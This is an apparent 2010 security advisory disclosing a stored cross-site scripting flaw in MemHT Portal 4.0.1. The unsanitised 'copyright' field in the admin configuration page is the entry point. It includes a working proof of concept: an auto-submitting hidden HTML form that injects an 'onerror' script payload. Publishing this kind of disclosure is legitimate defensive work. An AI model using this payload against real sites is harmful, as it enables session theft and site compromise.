XSS vulnerability in MemHT Portal

2010-11-02T00:00:00
ID SECURITYVULNS:DOC:25035
Type securityvulns
Reporter Securityvulns
Modified 2010-11-02T00:00:00

Description

Vulnerability ID: HTB22662 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_memht_portal.html Product: MemHT Portal Vendor: Miltenovik Manojlo ( http://www.memht.com/ ) Vulnerable Version: 4.0.1 and probably prior versions Vendor Notification: 19 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin/pages/configuration/index.php" script to properly sanitize user-supplied input in "copyright" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin.php?page=configuration&op=siteConfig&ok=true" method="post" name="main">

<input type="hidden" name="nome_sito" value="sitename"> <input type="hidden" name="site_url" value="http://host"> <input type="hidden" name="webmaster_mail" value="email@host.com"> <input type="hidden" name="site_open" value="1"> <input type="hidden" name="offlinemsg" value=""> <input type="hidden" name="defpage" value="news"> <input type="hidden" name="timestamp" value="%d/%m/%Y %H:%i"> <input type="hidden" name="timezone" value="0"> <input type="hidden" name="admin_ghosts" value="1"> <input type="hidden" name="infobar" value="0"> <input type="hidden" name="graphic_check" value="1"> <input type="hidden" name="textarea_editor" value="1"> <input type="hidden" name="modrewrite" value="0"> <input type="hidden" name="footmsg" value=""> <input type="hidden" name="copyright" value="copyright<img src=x onerror=alert(12345)>"> <input type="hidden" name="descrizione" value=""> <input type="hidden" name="metatags" value=""> <input type="hidden" name="user_max_lunghezza" value="20"> <input type="hidden" name="pass_max_lunghezza" value="20"> <input type="hidden" name="user_confirm_email" value="1"> <input type="hidden" name="approve_users" value="0"> <input type="hidden" name="num_news_home" value="5"> <input type="hidden" name="num_news_page" value="20"> <input type="hidden" name="guest_msgbox" value="0"> <input type="hidden" name="forumattachment" value="0"> <input type="hidden" name="forumattachmentfolder" value="attachment"> <input type="hidden" name="virtualpages" value="1"> <input type="hidden" name="usecomments" value="1"> <input type="hidden" name="guest_com" value="0"> <input type="hidden" name="Submit" value="Save"> </form> <script> document.main.submit(); </script>